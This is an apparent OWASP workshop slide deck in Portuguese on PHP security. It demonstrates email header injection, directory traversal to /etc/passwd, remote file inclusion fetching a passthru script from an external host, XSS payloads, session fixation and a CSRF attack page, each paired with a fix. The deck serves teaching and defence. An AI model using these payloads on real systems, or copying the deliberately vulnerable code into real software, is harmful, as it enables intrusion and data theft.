Segurança e Privacidade em Redes SociaisSegurança e Privacidade em Redes Sociais
Segurança e Privacidade em Redes Sociais
 
OWASP, PT.OWASP, IBWAS'10 & Cia.
OWASP, PT.OWASP, IBWAS'10 & Cia.OWASP, PT.OWASP, IBWAS'10 & Cia.
OWASP, PT.OWASP, IBWAS'10 & Cia.
 
Is the Web at Risk?
Is the Web at Risk?Is the Web at Risk?
Is the Web at Risk?
 
OWASP @ ISCTE-IUL, Criptografia em PHP
OWASP @ ISCTE-IUL, Criptografia em PHPOWASP @ ISCTE-IUL, Criptografia em PHP
OWASP @ ISCTE-IUL, Criptografia em PHP
 
OWASP @ ISCTE-IUL, OWASP e OWASP Portugal
OWASP @ ISCTE-IUL, OWASP e OWASP PortugalOWASP @ ISCTE-IUL, OWASP e OWASP Portugal
OWASP @ ISCTE-IUL, OWASP e OWASP Portugal
 
Apresentação OWASP - UBI, Covilhã
Apresentação OWASP - UBI, CovilhãApresentação OWASP - UBI, Covilhã
Apresentação OWASP - UBI, Covilhã
 
OWASP - Ferramentas
OWASP - FerramentasOWASP - Ferramentas
OWASP - Ferramentas
 
cTIC2009 - Segurança em Aplicações Web-based e RIA
cTIC2009 - Segurança em Aplicações Web-based e RIAcTIC2009 - Segurança em Aplicações Web-based e RIA
cTIC2009 - Segurança em Aplicações Web-based e RIA
 
Apresentação do OWASP Portugal
Apresentação do OWASP PortugalApresentação do OWASP Portugal
Apresentação do OWASP Portugal
 

Segurança PHP Workshop

  • 1. 1 OWASP @ ISCTE-IUL Workshop de Segurança Aplicacional Segurança em PHP Joaquim Marques - EST Abril 2010
  • 2. Aplicações Web - problemas No Início - Protocolo HTTP /browsers desenhados para permuta de documentos, - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web, - Segurança das aplicações deixada para segundo plano. OWASP @ ISCTE-IUL Abril 2010
  • 3. Aplicações Web - problemas No Início - Protocolo HTTP /browsers desenhados para permuta de documentos, - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web, - Segurança das aplicações deixada para segundo plano. Actualidade - Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras) - Dificuldade em criar aplicações razoavelmente seguras -Segurança é dispendiosa (análise de risco) - Segurança dificulta a usabilidade OWASP @ ISCTE-IUL Abril 2010
  • 4. Aplicações Web - problemas No Início - Protocolo HTTP /browsers desenhados para permuta de documentos, - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web, - Segurança das aplicações deixada para segundo plano. Actualidade - Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras) - Dificuldade em criar aplicações razoavelmente seguras -Segurança é dispendiosa (análise de risco) - Segurança dificulta a usabilidade OWASP @ ISCTE-IUL Abril 2010
  • 5. 3 http://i.cmpnet.com/v2.gocsi.com/pdf/CSISurvey2007.pdf 2005 CSI/FBI Annual Computer Crime and Security Survey Abril 2010
  • 6. 4 CAPÍTULO II Dos crimes ligados à informática Artigo 3º - Falsidade informática Pena de prisão Artigo 4º - Dano relativo a programas ou outros dados Informáticos Artigo 5º - Sabotagem informática Artigo 6º - Acesso ilegítimo Artigo 7º - Intercepção ilegítima Abril 2010
  • 7. 5 Questões de segurança actuais - vulnerabilidades Ataques de “hackers” - negação de serviço, - assalto a servidores, Ameaças vulgares (vírus, spyware, pishing,…) Comprometimento de dados Abril 2010
  • 8. 5 Questões de segurança actuais - vulnerabilidades Ataques de “hackers” - negação de serviço, - assalto a servidores, Ameaças vulgares (vírus, spyware, pishing,…) Comprometimento de dados Ameaças – O que fazer < Monitorização: saber o que aconteceu. < Deteccão: saber quando fui atacado. < Prevenção parar os ataques antes de terem sucesso. < Avaliação: descobrir os problemas primeiro que os atacantes Abril 2010
  • 9. 6 Firewall de rede OWASP @ ISCTE-IUL Abril 2010
  • 10. 6 Firewall de rede Exploração de vulnerabilidades através: - Web servers - Database servers - Web Application Servers OWASP @ ISCTE-IUL Abril 2010
  • 11. 7 Abril 2010
  • 12. 7 Abril 2010
  • 13. 7 Abril 2010
  • 14. 8 - TOP 10 vulnerabilidades de aplicações Web 2010 Abril 2010
  • 15. 9 PHP – tipos de vulnerabilidades mais explorados PHP Remote File Include: Por defeito o PHP permite que as funções que lidam com ficheiros acedam a recursos através da funcionalidade/extensão "allow_url_fopen". Ao permitir que os scripts permitam que o input de utilizadores influenciem os nomes de ficheiros então a inclusão remota de ficheiros pode resultar. Este ataque permite: Execução de código remoto Instalação de rootkits Compromisso do sistema SQL Injection: As injecções são possíveis pelo fornecimento de dados falsamente interpretados pelas queries SQL. As injecções SQL permitem ao atacante: Criar, ler, alterar, e apagar os dados disponíveis para a aplicação comprometendo a base de dados e o próprio sistema. Cross-Site Scripting (XSS): Permite ao atacante desfigurar um website, inserir conteúdo hostil, conduzir ataques de pishing, assaltar o browser usando javascript e até forçar o utilizador a usar comandos inapropriados sem o saber (XSRF). Cross-Site Request Forgeries (CSR/XSRF): Força os utilizadores legítimos a executar comandos sem o seu consentimento, sendo extremamente difícil de prevenir ( a sua sofisticação tem vindo a aumentar pela utilização de técnicas AJAX e até de worms automatizados - Samy MySpace Worm. http://www.sans.org/top20/#s1 Abril 2010
  • 16. 10 PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador Solução Auditoria(s) - ao servidor e aplicações Hábitos de programação segura Testes ao código Abril 2010
  • 17. 10 PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador Solução Auditoria(s) - ao servidor e aplicações Hábitos de programação segura Testes ao código Abril 2010
  • 18. 10 PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador Solução Auditoria(s) - ao servidor e aplicações Hábitos de programação segura Testes ao código Abril 2010
  • 19. 11 Ferramentas PhpSecInfo PHP SecAudit –Dan Lefree Alteração directivas php.ini (se for administrador) .htaccess php_flag directive value ini_set() Abril 2010
  • 20. 12 Regra básica Nunca confiar no “Input” dos utilizadores Origem input -Campos de formulário -Dados $_GET, $_POST, $_REQUEST -Cookies ($_COOKIES) -Dados de Web services -Ficheiros -Variáveis de servidor (ex:. $_SERVER['SERVER_NAME']) -Variáveis de ambiente -Resultados de querys a BD’s Abril 2010
  • 21. 12 Regra básica Nunca confiar no “Input” dos utilizadores Origem input -Campos de formulário -Dados $_GET, $_POST, $_REQUEST -Cookies ($_COOKIES) -Dados de Web services -Ficheiros -Variáveis de servidor (ex:. $_SERVER['SERVER_NAME']) -Variáveis de ambiente -Resultados de querys a BD’s Abril 2010
  • 22. 12 Regra básica Nunca confiar no “Input” dos utilizadores Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores Abril 2010
  • 23. 12 Regra básica Nunca confiar no “Input” dos utilizadores Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores FILTER_SANITIZE_STRING "string" FILTER_VALIDATE_INT "int" FILTER_SANITIZE_STRIPPED "stripped" FILTER_VALIDATE_BOOLEAN "boolean" FILTER_SANITIZE_ENCODED "encoded" FILTER_VALIDATE_FLOAT "float" FILTER_SANITIZE_SPECIAL_CHARS "special_chars" FILTER_VALIDATE_REGEXP "validate_regexp" FILTER_SANITIZE_EMAIL "email" FILTER_VALIDATE_URL "validate_url" FILTER_SANITIZE_URL "url" FILTER_VALIDATE_EMAIL "validate_email" FILTER_SANITIZE_NUMBER_INT "number_int" FILTER_VALIDATE_IP "validate_ip" FILTER_SANITIZE_NUMBER_FLOAT "number_float" FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes" FILTER_CALLBACK "callback" Abril 2010
  • 24. 12 Regra básica Nunca confiar no “Input” dos utilizadores Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores FILTER_SANITIZE_STRING "string" FILTER_VALIDATE_INT "int" FILTER_SANITIZE_STRIPPED "stripped" FILTER_VALIDATE_BOOLEAN "boolean" FILTER_SANITIZE_ENCODED "encoded" FILTER_VALIDATE_FLOAT "float" FILTER_SANITIZE_SPECIAL_CHARS "special_chars" FILTER_VALIDATE_REGEXP "validate_regexp" FILTER_SANITIZE_EMAIL "email" FILTER_VALIDATE_URL "validate_url" FILTER_SANITIZE_URL "url" FILTER_VALIDATE_EMAIL "validate_email" FILTER_SANITIZE_NUMBER_INT "number_int" FILTER_VALIDATE_IP "validate_ip" FILTER_SANITIZE_NUMBER_FLOAT "number_float" FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes" FILTER_CALLBACK "callback" Funções de filtragem filter_var ( $variable [, $filter [,$options ]] ) filter_input ( $type , $variable_name [, $filter [, $options ]] ) …. Abril 2010
  • 25. 13 Owasp ESAPI(enterprise security API) for PHP http://code.google.com/p/owasp-esapi-php/ PHP – níveis múltiplos de filtragem de dados Abril 2010
  • 26. 13 Owasp ESAPI(enterprise security API) for PHP http://code.google.com/p/owasp-esapi-php/ PHP – níveis múltiplos de filtragem de dados Abril 2010
  • 27. 13 Owasp ESAPI(enterprise security API) for PHP http://code.google.com/p/owasp-esapi-php/ PHP – níveis múltiplos de filtragem de dados Abril 2010
  • 28. 14 Precauções básicas em PHP • restrição no acesso a phpinfo(), -> disable_functions =phpinfo • utilize ligações seguras SSL • utilize ficheiros e directórios ocultos/privados • “cuidados” com a configuração do PHP • listagem/reporting de erros • register_globals • safe_mode • “cuidados” com os privilégios na administração das BD´s • “cuidados” com os ficheiros de instalação/config das aplicações Abril 2010
  • 29. 14 Precauções básicas em PHP • restrição no acesso a phpinfo(), <?php -> disable_functions =phpinfo echo "---"; • utilize ligações seguras SSL //ini_set(disable_functions =phpinfo); • utilize ficheiros e directórios ocultos/privados //ini_set(register_globals = Off); sem qq efeito • “cuidados” com a configuração do PHP //ini_set(safe_mode = Off); sem qq efeito • listagem/reporting de erros ini_set('display_errors', 'Off'); ini_set('log_errors', 'On'); • register_globals ini_set('error_log', '../logs/error_log'); • safe_mode ini_set('error_reporting', E_ALL | E_STRICT); • “cuidados” com os privilégios na administração das BD´s phpinfo(); • “cuidados” com os ficheiros de instalação/config das aplicações ?> Abril 2010
  • 30. 14 Precauções básicas em PHP • restrição no acesso a phpinfo(), <?php -> disable_functions =phpinfo echo "---"; • utilize ligações seguras SSL //ini_set(disable_functions =phpinfo); • utilize ficheiros e directórios ocultos/privados //ini_set(register_globals = Off); sem qq efeito • “cuidados” com a configuração do PHP //ini_set(safe_mode = Off); sem qq efeito • listagem/reporting de erros ini_set('display_errors', 'Off'); ini_set('log_errors', 'On'); • register_globals ini_set('error_log', '../logs/error_log'); • safe_mode ini_set('error_reporting', E_ALL | E_STRICT); • “cuidados” com os privilégios na administração das BD´s phpinfo(); • “cuidados” com os ficheiros de instalação/config das aplicações ?> <? //ini_set('register_globals', 'Off'); sem qq efeito //$auth=0; if ($password == "chave") { $auth = 1; } if ($auth == 1) { echo "acesso permitido"; } else { echo "acesso recusado"; } Abril 2010 ?>
  • 31. 15 a)- Spoofing do endereço de e-mail To: $recipient Subject: $subject mail($recipient,$subject,$message,$headers) $headers $message <html> <body> <form method='POST' <?php action='php_email_injectiona.php'> //php_email_injectiona Para: @example.com <br /> ini_set("SMTP","mail.est.ipcb.pt"); De: <input name='email' type='text' /> <br /> ini_set("sendmail_from",“marques@est.ipcb.pt"); Assunto: <input name='assunto' type='text' /><br /> Message:<br /> if (isset($_POST['email'])){ <textarea name='mensagem' rows='10' cols='40'> $email = $_POST['email'] ; </textarea><br /> $assunto = $_POST['assunto'] ; <input type='submit' name='enviar' value='enviar'/> $mensagem = $_POST['mensagem'] ; </form> <?php if (mail("marques@est.ipcb.pt",$assunto,$mensagem, "From: $email" )){; } echo "Obrigado por enviar o email"; ?> } </body></html> }else{ ?> Abril 2010
  • 32. 15 a)- Spoofing do endereço de e-mail To: $recipient Subject: $subject mail($recipient,$subject,$message,$headers) $headers $message Abril 2010
  • 33. 15 a)- Spoofing do endereço de e-mail To: $recipient Subject: $subject mail($recipient,$subject,$message,$headers) $headers $message function spamcheck($field){ if(eregi("to:",$field) || eregi ("cc:",$field)) { return TRUE; Php_email_injection_a.php } else { return FALSE; } } Abril 2010
  • 34. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php //php_include.php echo "PHP_Include()"; include($_GET['fich']); ?> D. T. Abril 2010
  • 35. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php echo "PHP_Include()"; include($_GET['fich']); ?> D. T. Abril 2010
  • 36. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); ?> D. T. Abril 2010
  • 37. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> D. T. Abril 2010
  • 38. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> D. T. Abril 2010
  • 39. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Abril 2010
  • 40. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução: <?php //php_include_sec.php echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> Abril 2010
  • 41. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php //php_include_sec.php echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> Abril 2010
  • 42. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php Safemode=on //php_include_sec.php Open_basedir=/path echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> R. I. Abril 2010
  • 43. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php Safemode=on //php_include_sec.php Open_basedir=/path echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha <?php //php_include1.php –colocar no site atacante R. print "<pre>"; I. passthru("dir"); print "</pre>"; ?> Abril 2010
  • 44. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php Safemode=on //php_include_sec.php Open_basedir=/path echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha <?php //php_include1.php –colocar no site atacante R. print "<pre>"; I. passthru("dir"); print "</pre>"; http://localhost/security/php_include.php?fich=http:// ?> www.est.ipcb.pt/pessoais/marques/php_include1.phpsec Abril 2010
  • 45. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php Safemode=on //php_include_sec.php Open_basedir=/path echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha <?php //php_include1.php –colocar no site atacante R. print "<pre>"; I. passthru("dir"); print "</pre>"; http://localhost/security/php_include.php?fich=http:// ?> www.est.ipcb.pt/pessoais/marques/php_include1.phpsec Safe_mode=off Funciona com Allow_url_include=on Allow_url_fopen=on Abril 2010
  • 46. 17 c)- Upload de ficheiros <?php //fich_upload1a.php if (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES); //} else { // echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].") <br>"; //} }else{ ?> <form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"> </form> <?php } ?> Abril 2010
  • 47. 17 c)- Upload de ficheiros <?php //fich_upload1a.php if (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES); //} else { // echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].") <br>"; //} }else{ ?> <form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"> </form> <?php } ?> Abril 2010
  • 48. 17 c)- Upload de ficheiros <?php //fich_upload1a.php if (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES); //} else { // echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].") <br>"; //} }else{ ?> <form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"> </form> <?php } ?> Abril 2010
  • 49. 18 c)- Upload de ficheiros <?php //fich_upload1.php if (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { if (is_uploaded_file($_FILES['fich']['tmp_name']) && $_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { move_uploaded_file($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; print_r($_FILES); } else { echo "<br><br>"; echo "Falha de Upload, tipo de ficheiro errado (".$_FILES['fich']['name'].")<br>"; } }else{ ?> <form name="form" method="POST" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"> </form> <?php } ?> Abril 2010
  • 50. 19 d:) Fixação de sessões <?php 1 - Eliminar cookies (ver session.save_path) //php_session1.php - http://host/php_session1.php?PHPSESSID=123456789 session_start(); 2- a partir de outro computador $_SESSION['utilizador']='marques'; - http://host/php_session1.php?PHPSESSID=123456789 $_SESSION['password']='aeiou'; ?> Abril 2010
  • 51. 19 d:) Fixação de sessões <?php 1 - Eliminar cookies (ver session.save_path) //php_session1.php - http://host/php_session1.php?PHPSESSID=123456789 session_start(); 2- a partir de outro computador $_SESSION['utilizador']='marques'; - http://host/php_session1.php?PHPSESSID=123456789 $_SESSION['password']='aeiou'; ?> solução --session_regenerate_id() Abril 2010
  • 52. 19 d:) Fixação de sessões <?php 1 - Eliminar cookies (ver session.save_path) //php_session1.php - http://host/php_session1.php?PHPSESSID=123456789 session_start(); 2- a partir de outro computador $_SESSION['utilizador']='marques'; - http://host/php_session1.php?PHPSESSID=123456789 $_SESSION['password']='aeiou'; ?> solução --session_regenerate_id() ……….. if(!isset($_SESSION['SERVER_GENERATED_SID'])) { //destruir todos as sessões session_destroy(); } --Verificar se as sessões foram criadas pelo servidor web // gera um novo identificador de sessão session_regenerate_id( ); $_SESSION['SERVER_GENERATED_SID']=true; …….. Abril 2010
  • 53. 20 e) Sequestro de sessões (session Hijacking) Verificação extra (mudança de browser no utilizador) Solução – utilização de tokens Abril 2010
  • 54. 20 e) Sequestro de sessões (session Hijacking) compara o valor do HTTP_USER_AGENT do browser com o do servidor Web <?php session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])) { if ($_SESSION['HTTP_USER_AGENT'] != Verificação extra md5($_SERVER['HTTP_USER_AGENT'])) (mudança de browser no { utilizador) /*PEDIDO de PASSWORD/ exit; } } else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); } ?> Solução – utilização de tokens Abril 2010
  • 55. 21 f) - Formulários Spoofed (falsificados) Abril 2010
  • 56. 21 f) - Formulários Spoofed (falsificados) //Formulario.htm <html><head> </head> <body> <form action="processar.php" method="post"> //processar.php <p>Marca</p> <select name="marca"> <?php <option value="Ford">Ford</option> $cor=$_REQUEST['cor']; <option value="Peugeot">Peugeot</option> $marca=$_REQUEST['marca']; <option value="Renault">Renault</option> echo "marca - ". $marca."<br>"; <option value="Mercedes">Mercedes</option> echo "cor - ".$cor."<br>"; </select> ?> <p>cor</p> <select name="cor"> <option value="branco">Branco</option> <option value="verde">Verde</option> <option value="azul">Azul</option> </select> <input type="submit"> </form></body> </html> Abril 2010
  • 57. 21 f) - Formulários Spoofed (falsificados) //Formulario.htm <html><head> </head> <body> <form action="processar.php" method="post"> //processar.php <p>Marca</p> <select name="marca"> <?php <option value="Ford">Ford</option> $cor=$_REQUEST['cor']; <option value="Peugeot">Peugeot</option> $marca=$_REQUEST['marca']; <option value="Renault">Renault</option> echo "marca - ". $marca."<br>"; <option value="Mercedes">Mercedes</option> echo "cor - ".$cor."<br>"; </select> ?> <p>cor</p> <select name="cor"> <option value="branco">Branco</option> <option value="verde">Verde</option> <option value="azul">Azul</option> </select> <input type="submit"> </form></body> </html> Abril 2010
  • 58. 21 f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> //processar.php <option value="Chaço">Carro da marca Chaço</option> </select> <?php <p>cor</p> $cor=$_REQUEST['cor']; <input type="text" name="cor" /> $marca=$_REQUEST['marca']; <input type="submit" echo "marca - ". $marca."<br>"; /> </form> echo "cor - ".$cor."<br>"; ?> Colocar no site do atacante (fazendo as alterações adequadas) Formulario_spoof.htm Abril 2010
  • 59. 21 f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> //processar.php <option value="Chaço">Carro da marca Chaço</option> </select> <?php <p>cor</p> $cor=$_REQUEST['cor']; <input type="text" name="cor" /> $marca=$_REQUEST['marca']; <input type="submit" echo "marca - ". $marca."<br>"; /> </form> echo "cor - ".$cor."<br>"; ?> Colocar no site do atacante (fazendo as alterações adequadas) Formulario_spoof.htm Abril 2010
  • 60. 21 f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> //processar.php <option value="Chaço">Carro da marca Chaço</option> </select> <?php <p>cor</p> $cor=$_REQUEST['cor']; <input type="text" name="cor" /> $marca=$_REQUEST['marca']; <input type="submit" echo "marca - ". $marca."<br>"; /> </form> echo "cor - ".$cor."<br>"; ?> Colocar no site do atacante (fazendo as alterações adequadas) Formulario_spoof.htm Solução <?php $markk=array ('Ford','Renault','Peugeot', ‘Mercedes’); if (in_array($marca, $markk)) { //ok executa código em processar.php } else{ die ("continue tentando ...eheheh"); } ?> Abril 2010
  • 61. 22 g) XSS - Cross Site Scripting //form1.htm <form action="processar.php" method="POST"> <p>marca</p> <select name="marca"> <option value="Ford">Ford</option> <option value="Peugeot">Peugeot</option> //processar.php <option value="Renault">Renault</option> <?php <option value="Mercedes">Mercedes</option> $cor=$_REQUEST['cor']; </select> $marca=$_REQUEST['marca']; <p>cor</p> echo "marca - ". $marca."<br>"; <input type="text" name="cor" /> echo "cor - ".$cor."<br>"; <input type="submit" /> //ligar a BD e inserir a escolha ?> </form> Abril 2010
  • 62. 22 g) XSS - Cross Site Scripting 1) <script> alert ('Ataque XSS')</script> Abril 2010
  • 63. 22 g) XSS - Cross Site Scripting 1) <script> alert ('Ataque XSS')</script> 2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script> Abril 2010
  • 64. 22 g) XSS - Cross Site Scripting 1) <script> alert ('Ataque XSS')</script> 2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script> 3) <script>document.location="http://www.php.net";</script> Abril 2010
  • 65. 22 g) XSS - Cross Site Scripting 1) <script> alert ('Ataque XSS')</script> 2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script> 3) <script>document.location="http://www.php.net";</script> Solução html_entities() strip_tags() Abril 2010
  • 66. 23 h ) - CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php Abril 2010
  • 67. 23 h ) - CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php Abril 2010
  • 68. 23 h ) - CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php Atacante Abril 2010
  • 69. 23 h ) - CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23 Atacante Abril 2010
  • 70. 23 h ) - CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23 Atacante Abril 2010
  • 71. 23 h ) - CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23 Atacante Abril 2010
  • 72. 24 h ) - CSRF (XSRF) – Cross Site Request Forgery Atacante – desenvolve o script e coloca-o num servidor //csrf_ataque.html <html> <head> <title>CSRF ATAQUE</title> </head> <body> <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas %20crackados&amp;Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a> </body> </html> Abril 2010
